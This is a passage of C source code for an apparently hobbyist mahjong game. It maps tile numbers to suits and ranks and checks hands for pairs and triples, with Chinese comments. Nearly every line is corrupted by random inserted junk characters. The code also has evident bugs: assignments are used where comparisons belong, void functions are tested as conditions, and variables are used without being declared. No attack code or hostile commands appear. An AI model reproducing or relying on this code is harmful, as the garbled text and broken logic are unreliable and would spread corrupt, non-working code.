$ k9 t( @3 U. g: o6 `0 W8 E* oelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)+ @( j: F8 j6 j: f/ g, J
{; r! V) I+ {  @7 e; `0 k0 Y9 ~
logo=2;
$ C: |. M  P9 H2 {5 R$ Vif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36); s$ e; _7 k  A9 S9 P3 A
logoo=1;; f) x6 C4 _0 B
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)9 }$ r" D+ H# b1 b
logoo=2;
9 @% d+ U% ]3 Relse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)1 s1 z5 Q7 L7 b# m: r/ t1 z" r
logoo=3;$ U; x# X# o9 h5 X- {
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
8 r, ^3 }; V' K# hlogoo=4;( G8 e+ n( S+ C" z, ^$ e4 B
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
- P! ~6 s6 I  D. I) e2 m+ flogoo=5;
! M) t. {0 N! B# m" f7 s' {: G/ _else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
$ s; ?" `/ |+ y1 B# h/ |& flogoo=6;6 Q6 J% m1 s- A0 p- f, x* t
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
0 c- B/ v8 u* [$ z4 r! ^$ s! ?logoo=7;
9 y+ d8 Q, }" Delse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)+ x8 R4 x7 B& e" s" ^0 |- M' J
logoo=8;
) s) c) \+ U% felse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
3 B- W. v4 R2 Alogoo=9;- s, M+ S' o! O, z) n  z" H: d
}& Q* i1 {9 D9 A
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
) ^, D5 L0 k) t/ G& q! f{+ J9 {8 O1 H. V
logo=3;- W1 _' {! W" v5 ?5 F- t
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
+ z- l4 |4 h% slogoo=1;
$ c8 h% q* ]/ r) jelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)7 ^/ J: y7 Y& k( @% q2 Q
logoo=2;
* S- }; c; C6 I3 Z  o- J$ Velse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)+ ]: W9 [1 F0 x/ N% V, G: m
logoo=3;
1 i/ R$ d( Z7 x4 o# o- d5 l$ t( Jelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)/ p, h5 Q5 Y1 z; \8 Y+ P: C  E2 C
logoo=4;
) [8 a- }) q% melse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
! d% U' H' |( B3 X  Zlogoo=5;$ W: X5 H7 }8 a- W
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
7 k, K* m4 V$ Ologoo=6;
# k& b7 ?0 _6 x5 }9 x: H- f9 @7 G( |else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)2 c5 z/ n1 X5 B" h+ Q
logoo=7;7 I! c% T  P7 a! m8 P3 {/ t
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
& W# s! ~+ ?# plogoo=8;: ~- ?! K- w* O! n0 q7 [
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)- X6 I& ^/ u) f( l' x6 N
logoo=9;8 g: h* L' ?5 f& @, G; B( Y: u9 l
}, t+ _9 b) r7 ]6 x2 s6 y8 H
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
( L5 f2 X0 I% w7 g" \1 A{) I) p% c3 j; M
logo=4;: T( `7 n0 n5 v) V; e+ c* S/ i
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)1 w3 e/ I! v5 k0 C# ]- A7 h
logoo=1;
/ `0 V) M" C% P# A0 ]5 D6 U5 m4 d* selse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
; F. [3 u: \! v. {1 ?7 y5 }logoo=2;: e# ~5 e+ Z* y! a& I' {
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
+ r+ w! m* k% P1 V- Mlogoo=3;+ c) y6 I' i8 b. r6 M
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)7 R& `$ C; [6 [- Y9 N
logoo=4;# O* O7 f! U. y. d
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
9 \$ Y5 F5 x: t$ [3 |+ elogoo=5;2 V5 D) n, \$ g: Q
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)# V2 t2 n6 y4 q3 o, W
logoo=6;; C( G( I8 E& n# _1 k% b# S6 e; c
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)1 z) A# e7 h5 w' \8 G7 A
logoo=7;
5 W* k0 P. s# d# ~6 @+ a+ E}4 u3 E2 {8 Z) S
while(b&lt;=me.m)
+ k) i% [5 u8 e; k{. _2 t. p! y" D# J9 p
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/' w8 A5 V6 b+ g8 X  Y
{
( y4 C. l) K6 B8 c: q: z, klg=1;0 Y5 D- \0 Q! |6 {, C3 A
me.pp.d[0]=1;( J# \0 T: g' a( Z$ N
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)% N2 b' n6 @" v) `$ [
{, _% l  X; ?. R& y2 a
lgg=1;, M* l: @. t( E. v8 F: a
me.pp.d[1]=1;
, O  S1 s, J) l! Z3 r- {}( G" k* X5 n5 r; D8 P" [# `, Q
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
/ P, Z) H2 j. a, w* {9 M1 I/ @' H{% C4 i6 X( b4 s, u* Y
lgg=2;4 b: [$ D/ ?1 r, V. a
me.pp.d[1]=2;. a/ F; B5 g* R
}
. @$ D: J- R) k& M. _2 N" B9 U' @$ [  Pelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
5 J6 k" p/ F# w{
3 Q+ [3 b( ^- ^7 Klgg=3;
/ G" A4 v7 }9 O* u$ F: Ame.pp.d[1]=3;
' A$ D- T+ r( Y- u0 I, s7 t}
) Z$ D+ `$ [1 O( U% pelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)5 g# M/ u9 o" g/ H  x6 E
{
6 m4 }* L; M3 |1 e( o- Klgg=4;  V/ j% @) n5 e4 M+ k
me.pp.d[1]=4;
2 I6 n  v) h9 y, v6 ^  F% [1 Q0 z}7 i, B+ d" B7 R' g0 E; Q6 j- R6 V
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
0 z* H4 y9 {; J: ^) k$ o1 ?: \{# w% G8 T  `- ~% g
lgg=5;+ k& w/ }3 d5 K9 ~
me.pp.d[1]=5;: |: n: Z& B- v& x9 [8 \1 ?
}
2 M# Z% H; T9 welse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)1 u5 ?: O' E7 R1 t5 ~9 n
{' K3 y, A3 n( i7 q8 J. g% f
lgg=6;
% I2 ^1 P$ J& \  ]! |/ \2 jme.pp.d[1]=6;0 `0 t; K0 ]6 O  ^) T# L  M
}
  W. k9 S9 S% b4 ^# Oelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24): l; T5 n5 \$ D6 K; [  P
{
; Z+ r* C- q+ o8 t6 Hlgg=7;& u9 a  ]5 o! r
me.pp.d[1]=7;4 i0 |( v! o3 H' S$ c# c* L
}
9 ~5 z$ o( y+ h% `0 z6 a' T2 i1 helse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)' Q- D1 q+ a& G4 s! l2 F
{: M3 L( @% h! ]( f, _
lgg=8;
2 Q2 P) ~7 r$ Vme.pp.d[1]=8;
; P* H) L1 r0 C4 z0 K' N}- O( x+ Q' x0 h+ S; T5 @
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
$ N* f! U& K# }3 g3 z{4 X* ?; t. A2 u& i; |
lgg=9;
0 v) `7 Z$ ]- I# d9 |0 q; Pme.pp.d[1]=9;
& W: ^0 E( j* g0 S}
2 T% ?8 H4 [# J; z; ~8 [}
" {5 f( z  a$ B# E# o; l3 aelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
6 ~- |3 U8 a; Y, Y- u$ n. K{
1 S1 G8 d) ]6 K" Rlg=2;
% \, y2 t- p/ A. a7 p$ L- cme.pp.d[0]=2;
  y  s( H2 m# kif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
* k. v/ {9 b- r{
9 W, K' u: Z" X. h% vlgg=1;
0 B6 x+ u$ A2 U5 b  @me.pp.d[1]=1;
0 u( c! {7 U5 u& O$ h}6 f/ D& i' y9 T# E2 z3 Q
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
/ [! \+ M5 Z; Q# P- l- p{
- t: r8 ~% c. H( q  U9 p8 Ilgg=2;% R  ^: n7 X' N7 Q& j- q$ |
me.pp.d[1]=2;9 W# |( m8 k8 j
}
& y3 ^& Q. o# Velse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44). O2 L8 l5 |6 [+ u  l$ r# Z$ j
{
8 [4 t7 ]3 M0 M+ T6 k* Z2 jlgg=3;
% I$ X' W& y4 F% `( Bme.pp.d[1]=3;% L. ]( {5 i$ `* Y- B) ^/ a; W
}
8 z1 a# [- g8 @  Yelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)1 I' L2 U0 k/ _& N3 }' n3 x
{# s1 J% \7 z6 S# l6 a
lgg=4;# M. @# C( k0 D* P, [* o
me.pp.d[1]=4;3 V: F4 A( {- m) R; q
}
# m; t8 K" `3 _& I% Ielse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)! @5 D; v! Z8 j9 q2 r# M7 Q7 I1 Q
{
' g8 P& _* _4 r6 F9 [lgg=5;: ]; i, D5 k2 D4 V: Z5 z
me.pp.d[1]=5;
& B1 z1 M9 }- P( s* F2 C4 ]2 m}
! P6 @1 r+ N$ ?( L5 I  b+ D2 @else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
, B% p. R& ~( h2 [; X3 k{
2 m+ ]6 T+ ~8 P2 V; {lgg=6;
! N# Q4 o. H% R$ t. T- f& D2 s$ ]) }7 ume.pp.d[1]=6;
  r' W, _8 x3 M}
, c  a- j" [* d+ O- B; Aelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)! {4 R& b. p1 N9 d6 t. F" G& ~( a
{
3 g4 A/ Y) C/ L" _6 \0 j, ^lgg=7;
) I3 Y$ k2 y% r' y3 ^me.pp.d[1]=7;5 V( w/ P2 W, c* {
}3 B6 m: w1 y" O+ S' J: ~7 z
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
' C% F# C' W& m5 q  g3 p8 ]2 w{* @; x2 M( s/ O/ V  k3 U  ?3 {
lgg=8;
. I' Z. J1 S) q- Xme.pp.d[1]=8;
) r- j/ k" J5 i( I" _}
, K2 L3 t* i3 s! G; telse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)- h. t1 _6 z4 ]  i
{" z7 X6 C3 c& U* O; \% U
lgg=9;8 i% C2 P4 @" Z8 F9 P# z
me.pp.d[1]=9;
' {( i6 y3 [) _! E5 ^0 A& ~}
. [) u) ?  o4 f( R# B9 V/ @}
# P' |6 d( V& P1 Uelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
' c; C7 V5 ?8 S. B, e{" S5 x4 q' d* ?% c2 n6 r% a9 d
lg=3;
- m; K  F1 D0 i* L/ Gme.pp.d[0]=3;6 h& V, \6 O; s% {7 W* a( P
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
4 b5 c( Z4 x, j  y3 {{2 r/ w: ^. U$ p# b
lgg=1;
1 E" [0 q9 B8 e$ A5 Y5 R4 T+ ?6 Bme.pp.d[1]=1;
5 A! d4 u0 k9 C% Z* f/ ^}
) ^+ }: `( u8 n, T# S$ {. Pelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
( r5 ~4 s' d4 H5 Q2 Y# R7 i0 l{+ H' V0 X7 g7 z# p% [
lgg=2;# p! {! a: F$ R8 w: d4 a5 [* Q
me.pp.d[1]=2;
9 A4 J7 i0 X5 X; ?" c3 Z& A}
9 H* x' M" e8 V+ `, ~- s) nelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80): Q4 K1 }# |/ J2 C  g: c' F* @
{8 J0 q* w: V. u: V6 r4 Q6 g% N+ a
lgg=3;
" V6 V3 V( L* w, M/ [1 Lme.pp.d[1]=3;
4 Y  \3 B, u" j. Z: p}
, K9 ~. E6 T4 z4 w3 O( H5 p) `else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)" B) b( V* b3 x, f8 @
{
3 @! g* F) T8 \+ B! s5 Qlgg=4;( B& s/ t2 c& R2 J! X
me.pp.d[1]=4;8 n# N; U* n( C8 H6 C
}
6 i, N1 k9 O: S9 @+ u& @else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)+ z4 ]4 d* X5 T7 L
{
) W3 c8 |* _! w. h. r0 q* glgg=5;
6 ?- x0 a5 I& p/ nme.pp.d[1]=5;
" H: }1 \1 m6 }+ n}  y' e, d. K) V) d' h1 l2 H" p! P/ U
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)+ W# s# t4 Y5 n; O( I4 y* e1 n& ?  R; h
{
9 w( D4 H2 `+ M; s! qlgg=6;
+ n6 K& z% x" H7 l1 b3 E# Pme.pp.d[1]=6;0 I' T# m% T+ |- I' v  p6 d
}; U% n; S' I+ [: ]0 X( H/ e' b
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)* _, @8 o# b4 }/ x+ J3 t! N
{1 T) \% r9 d" U" M) S
lgg=7;
7 W+ X5 V' E! f/ }+ g9 B. X. X, w: Lme.pp.d[1]=7;# T; i) L& h! N+ J
}
3 q( y) P: Q2 x- a( j, _else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)9 d: h1 `; K4 k7 C
{+ s7 L0 \- B& i% U0 v0 \
lgg=8;6 z8 O2 p% a3 E" P5 h( D9 |; I
me.pp.d[1]=8;7 B2 ^2 Z' g9 @$ \' s9 X
}
3 I( B7 ~- P' d8 D5 Gelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)% [( p. E3 k9 Y/ z! K: _
{
6 x, J9 d2 F6 J6 i0 X  e  wlgg=9;
% D- L& R3 `' |+ Y9 E4 Wme.pp.d[1]=9;! y. n! w! |1 J) R4 o
}3 @  a, D- Z! [9 @0 m) y& m
}$ b4 w$ t- q* r/ y& N2 S
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108), Z+ H6 W7 C9 L# }( p2 D2 t( q- J8 U
{
+ j8 k7 Z4 r. I% L, hlg=4;
3 x0 ?! @! y) g/ r/ C+ Mme.pp.d[0]=4;
0 J1 a( R7 i/ O: pif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108); e! f8 n  w9 p+ D% t: y
{* o4 c8 l  p: ^3 J1 I4 r+ Z
lgg=1;+ b/ w' j" b( {( m$ V
me.pp.d[1]=1;
/ h4 p2 g0 s9 X: w}
4 H& K. x' P+ ?2 [' h7 N% aelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)% }; V' E! U# l2 `. Z
{
& R4 E* z/ {' k7 e: [0 _/ `lgg=2;5 u" V3 Q4 W) l" r% C, e
me.pp.d[1]=2;; X4 x' M- n* G: w
}
. X  K+ r# y; R. k9 O" yelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)! y  I4 t7 A( s& B# x
{
+ m# k  D3 }7 W$ P! B4 Dlgg=3;
. e* v# u5 g( m; m' Q' A' W: V8 kme.pp.d[1]=3;( @5 _2 @- `0 R% d& ?- v' U& I+ \8 c
}( p# s2 O0 s% q& L+ F; V
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
, ?! U8 }+ Y; S& b" f{
& v* _5 r+ X/ D' e0 ^& hlgg=4;" t! ^9 }0 n! U4 w0 S' w
me.pp.d[1]=4;
6 V0 V1 n7 Z2 B  ?+ O}
- C( O! Q8 n$ [& relse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
* z( g7 @1 D1 M; N9 Y2 ^{* t9 s8 U1 u: P
lgg=5;$ S! g8 \6 D* S, A# _6 z
me.pp.d[1]=5;
2 P# ?$ e5 Y$ J2 d+ `% ^}
5 g! }5 D( c. h! }else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)/ ]# S8 a  S) ~' U( i4 b* e
{
& g6 C1 Z1 J0 Z4 V# p" C, u( L( ulgg=6;# ^# M2 a3 H  e" S4 i' j4 I$ J1 q
me.pp.d[1]=6;% k* `* {; r: ~1 q/ Y9 F
}
) V* r9 a. D8 `/ h* `/ welse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
" E: y' {  M6 P" G1 n! C{
0 ?, I4 t6 d% c' \lgg=7;3 w* ^. Y- K4 T/ R4 Q7 V( b  F; F
me.pp.d[1]=7;
" U& p. a9 v! d$ r; W* `2 l$ \' G$ u}4 [% d% \7 b- s) V- R! A/ D8 ?
}
. v& f6 \% C  Y# D  f/ ?8 E7 f: r}
) |$ d9 B7 ]% P' g4 R+ T0 E}9 d9 b+ u6 ?0 V0 X7 }  }
void istwo(testt)5 d5 b/ b" |/ b" Y/ d: r1 F
int testt[];
5 U6 s" e8 c0 b: c5 }3 u{ if(testt[0]==testt[1])2 }  H* ?- S0 f5 v9 H* Z2 y# j
second++;+ G5 G& G' T% g: k
}0 b) P/ R2 y) F( H
void isthree(testt,n)
) G* t0 D; n; J0 ~  D7 ]# hint testt[],n=0;3 h* z! L' X) M9 ^" V( c+ J* @
{ int i,j,flage=0,lianx=0,same=0;
: i/ f! P  W7 S7 gn=n/3;' z, y1 C- G4 M' Z: m
for(j=0;j&lt;n;j++)- n2 O+ z) C0 b4 N
{
7 o, d0 E6 h3 j( z7 A3 Hfor(i=j*3;i&lt;2+j*3;i++)
4 s) t4 [/ g9 X9 Z. |7 d( T. Q{
0 i: G5 q' v  W# _- Wif(testt==testt[i+1])4 Q+ u" g* M0 r! Y9 X2 U9 i
same++;
, Z( j* a/ h8 _# ?! mif(testt[i+1]-testt==1)0 [  P. m6 s5 b- s) i6 a
lianx++;* u: Y/ i, r# ~! Q+ Q% c
}
( Q. `1 H0 b  J! K( I. s3 Sif(same==2)) Q# a2 N! f6 d* Z
threes++;2 C+ Y" n. G9 y4 l7 Q
if(lianx==2)
# d% t7 Q+ C+ ithrees++;' ^7 f3 D( n5 c! d, x# J
same=0;
: l: x$ U7 \9 C& [lianx=0;
- H0 {7 W0 V8 Q7 n8 X4 E}
; ?7 p1 P# {! h: s7 o}' K3 Y" T5 O/ G7 ~7 @, U
void panduan() /*本程序的精髓*/
+ h& @4 d' R7 G& d. l{int data[14];
( q+ Z" I6 L7 l( Dint pw[14];, F' b6 K8 \/ ]: W
int pt[14];
2 C' w2 _! _- h! W* c. s# tint pi[14];
: @% V+ J" E) B! R: vint pf[14];: ]5 n5 u4 N% g) J6 p9 n
int test[12];
7 z2 J! s- f  N4 R1 D# D: }% iint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;: H- s& O& \+ F5 V0 }1 d
for(jj=0;jj&lt;=me.m;jj++)' T8 i' X5 G! z: b; y! Q- g2 X0 o
{( F% g$ Q% p$ k
if(me.pp[jj].d[0]==1)
7 Z7 D- h1 h( B4 H1 @+ udata[jj]=me.pp[jj].d[1];
, Z  ^8 |) K3 @if(me.pp[jj].d[0]==2)
) {3 _( X0 z" ]* z$ Sdata[jj]=me.pp[jj].d[1]+10;0 c+ s7 e" g" v+ N( P; W' d
if(me.pp[jj].d[0]==3)
6 s' }+ N2 R8 V) J: Vdata[jj]=me.pp[jj].d[1]+20;
6 d& B( [& q) K! }# R( Wif(me.pp[jj].d[0]==4)
, \) {( }, f/ G9 N/ x* A- `data[jj]=me.pp[jj].d[1]+30;
0 |: s# t0 \* n. g5 q' ^% Q2 Z}& S8 @( ?4 n) M+ i6 p6 Z  T
if(logo==2)
- r6 N5 o6 b2 j' P7 q; hw=logoo+10;
. }+ Z  ~! O; ], ^! D( Aif(logo==3)
! r# W' r4 N+ c$ ^1 W: M: R0 s4 nw=logoo+20;7 O2 R& x% N* b' O" j+ h+ L
if(logo==4)) U! K# a$ [2 w1 t" ]
w=logoo+30;
6 g0 S' X4 U9 w  J0 j% R/ Ldata[computer.m+1]=w;$ h5 ~. o/ e: q1 c7 q
for(mm=0;mm&lt;=computer.m;mm++)1 t' ]3 C/ g* J9 s! e" a- m
for(nn=mm;nn&lt;=computer.m;nn++)
/ y. |8 g- e( D+ A0 `1 F* U! ?if(data[mm]&gt;data[nn+1])* c: ^& B+ Y( K, U" f
{, P) Q% M+ i$ h# Z* T# I
tpp=data[mm];5 I. \4 [* }' ]1 @1 x; U# s2 g
data[mm]=data[nn+1];" ~7 t( n! H1 z
data[nn+1]=tpp;* C8 F* q6 b* n, ^* I# o- C
}0 A, x* X& R0 ~, h* T7 B' l5 f) e2 n/ c  K
lp=0;( k6 A4 v* h4 I9 u. T2 `* F9 W
while(lp&lt;=computer.m)( s6 |5 A  w5 g4 e: \% g
{ if(data[lp]&lt;10); U& O( q/ e6 Y# A
pw[ww++]=data[lp];
  o6 `) z/ I! v9 |4 o; bif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
9 O# I( J4 x/ r2 E& s4 S1 ~5 xpt[tt++]=data[lp];; P+ S" P* y8 Z; a+ _
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30), T) d  H/ W7 w: ^5 R4 k- ?
pi[ii++]=data[lp];
" ?1 P& u2 y( B) V5 nif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)5 D9 e; I( s! {8 j
pf[ff++]=data[lp];
0 m- F: G; u! F% b) Zlp++;$ c- A2 B  W" d9 K% i1 b; M
}
& W/ T9 @3 w6 g! h6 @if(ww==2)/ y/ C- Y+ o; l5 L  y/ i/ x
istwo(pw);& H9 r5 \' ~# B7 d- i
else if(ww==3)
+ y7 z1 b3 o* w) Q% Q, gisthree(pw,ww);
/ G6 W" \, x8 r4 _  x9 q9 Uelse if(ww==5)2 \/ f0 |/ r+ v- n2 L* r
/*pw[5]原始牌数组,假设已经升序排列*/9 X* s! U, |. _, Q/ ~
/*test[3]用来放置测试牌的数组*/
1 s; O, ]9 x" n" K& G4 ~& Gfor(i=0;i&lt;4;i++)
7 ^% d' U, b6 I3 S; k  d{& M& l4 R( k- f6 @# u  x
for(j=0;j&lt;2;j++)# M% i1 {+ ?6 r3 O# g. x
{test[j]=pw[i+j];
4 }4 {. y1 F+ x+ `0 `}
" Q$ n: ?8 \% I5 w( M# y& dif(istwo(test))" s0 y7 t8 v, a4 s6 |! w
{ ill=0;% r& N3 _8 ^& y3 ?9 d
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
  k+ Q; m2 i1 a! r% a" @. e{if(kl==i)
  C% G! I0 k; F( W6 g, Y0 `# e{
8 c, H6 r$ I+ u3 Lkl=kl+2;
5 s" B  L: |- ~- L2 ]3 p1 Pif(kl==5)
2 Z. n  H2 Z( ~break;
/ C" B5 z; g: P  o8 J# O}& N$ g4 O) N# `6 r( {6 Y# R6 `
test[ill++]=pw[kl];
, u; \! I" m6 Y6 F! {}
+ J; q* {" [9 x$ disthree(test);& x$ W& V0 R( Q$ ?1 u' e. M$ m3 A. c% E
}* R* h+ x6 q, L; P! U# A, O& z
}
8 y0 L  i4 {) e2 S8 felse if(ww==6)
# [+ E  C" S' O9 listhree(pw,ww);
9 c" J5 ^: Q$ L# Jelse if(ww==8)
3 C( U' B8 U3 [8 X0 Z9 B4 ~1 I' qfor(i=0;i&lt;7;i++)
7 p: m6 I& Y9 K# m- J{
* o$ [1 Y. w0 m* q: t- y/ efor(j=0;j&lt;2;j++)
/ F, \8 S* ^* K% I$ j{test[j]=pw[i+j];
$ Y! l+ e+ {5 z* \}% }$ d2 \: h+ h* E9 f. X1 d
if(istwo(test))( H0 J  H( d% u
{ ill=0;) I9 Y0 X2 ?0 a
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
4 L( N1 d$ s- r% {+ R0 B* R' n4 F{if(kl==i)* l3 N: l6 k) s6 K/ U
{( I9 C7 ^! {5 D
kl=kl+2;4 H* e! b5 U& I3 {
if(kl==8)
" W" ?  l7 g" i: ?/ z! J# kbreak;
4 i/ E) z; ~- ^% Z, L}
3 Y: J1 N8 f. ?. n1 btest[ill++]=pw[kl];
: m9 N# C9 D* Z. E: A}6 i; K1 _3 d- y0 _( q! f% V2 u0 g
isthree(test,ww-2);
* r0 e  l' w4 A}
2 w8 V8 e1 A2 M} - A2 M- P* r2 \9 a2 ]0 e. e
else if(ww==9)1 t. b% O" N" n& n) p- K
isthree(pw,ww);
2 o5 ?: q0 T1 Yelse if(ww==11)
0 A# t% c( [6 x1 t: |for(i=0;i&lt;10;i++)
3 _4 ^- D  o3 I* h4 ^{7 c3 d6 r& u5 o6 K* M, ?! x1 k( |
for(j=0;j&lt;2;j++)- J; J5 Q4 C0 {/ N% ?# {
{test[j]=pw[i+j]; 3 B5 c! `4 h5 x: H: r, v2 p
}
4 l! W# Z- b; m- ]4 A5 jif(istwo(test))
6 x, U  t, F2 Q4 |. q7 Q{ ill=0;8 w; v% |# a2 I, @6 G" o
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ Q) V# P5 b5 j% @5 r{if(kl==i)9 L& ~2 n* W- X6 W5 \3 ?
{
* c1 [. u, @: `% G! W$ Mkl=kl+2;
) V; R4 c  R$ X- A9 W- l7 O* r  Wif(kl==11)% W" ?: ^) g! j
break;1 ]: t9 F7 ~. v8 C0 i! i
}2 h/ p+ k; M% z4 t' W( l& _% C8 `
test[ill++]=pw[kl];
; D+ v4 R0 n$ d, {/ R}5 J4 n. D& C  ~; K5 t% m
isthree(test,ww-2); . U  }% f) U% F% i1 {
}
# S" V/ r2 p" m6 V+ Z2 x2 n; Z}
6 Q) i9 O! e1 L8 Q9 telse if(ww=12)2 @9 D+ \; J0 D
isthree(pw,ww);0 o5 [# ^- c0 i5 p5 \' S8 y! }
else if(ww=14)
8 O; T9 {8 [! o: T0 j8 Yfor(i=0;i&lt;13;i++)
" t4 a  Z+ b/ w" s1 D{
* b  Q1 w1 H8 Hfor(j=0;j&lt;2;j++)
: C0 B1 ^7 c/ K9 g: A. h{test[j]=pw[i+j];
: {! d2 W: A# m/ h  K3 A% K}  l, N1 Q- X2 N: g9 l5 w
if(istwo(test)), U8 _( y4 {" y& o; G' i7 A
{ ill=0;$ i/ e- o2 ]7 r* S: d( n
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/  X) A5 X; S. Q+ Q5 Q. D
{if(kl==i)
- q. i1 Z' ^1 F- a$ a- x8 p& A$ G{1 Q% b5 Z) b( U& o! |2 L  q# [
kl=kl+2;6 O1 K% R1 V2 E2 H5 ^7 t9 l8 s! x' q" A
if(kl==14)
& j% ~. s' |3 q3 L: p) ^2 E& \break;; v: F: E) Q. b8 w  z* I( r
}! S1 D& ~8 L- s- g; p- K
test[ill++]=pw[kl];
! {* ?$ X+ `4 h) o, I# `}
8 j+ K& c7 h4 c! y( Yisthree(test,ww-2); 0 m2 G. u: S8 Q. L& P
}$ K; N6 z, Z) C* l; [5 w) N
}
! W- u& f, [" s3 i1 c: jif(tt==2), f  i2 [7 I1 Q3 c/ T" O9 ~
istwo(pt);
) S" o' g  S6 m8 J1 X# p; ]9 Oelse if(tt==3)' j6 J4 X! E* i( R- A1 C
isthree(pt,tt);
3 `$ a8 \* s. Y! F2 Jelse if(tt==5)& g' \* O) k$ m7 O/ E& w  b
/*pt[5]原始牌数组,假设已经升序排列*/
6 {( K* g" N7 p/*test[3]用来放置测试牌的数组*/
& K, Z8 h5 c+ ?1 ?+ P4 Efor(i=0;i&lt;4;i++)7 Y+ X/ m& M( p/ }9 t$ ^) I" q6 P
{
3 t0 X2 ]! P. F# bfor(j=0;j&lt;2;j++)' D7 ^8 D- z5 q- `( Y
{test[j]=pt[i+j]; / g8 u! B- c7 x" |- @8 f& J
}
. k$ d& v+ ^( `5 x; n: d9 Iif(istwo(test))8 @8 N+ e8 p3 Q4 o+ X2 K: B" M" c
{ ill=0;/ n2 S# X1 Q. B
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/: Y4 J) R. |6 \9 b- F3 H  b
{if(kl==i)8 C, i8 f, A+ [3 y
{
, N* p# W0 N2 c% l: rkl=kl+2;
7 |- q  J0 V! U& U( Rif(kl==5)$ d8 ^; q% g/ \1 {$ q. t
break;
3 ]  W/ C( u9 E7 s3 T# I; o}
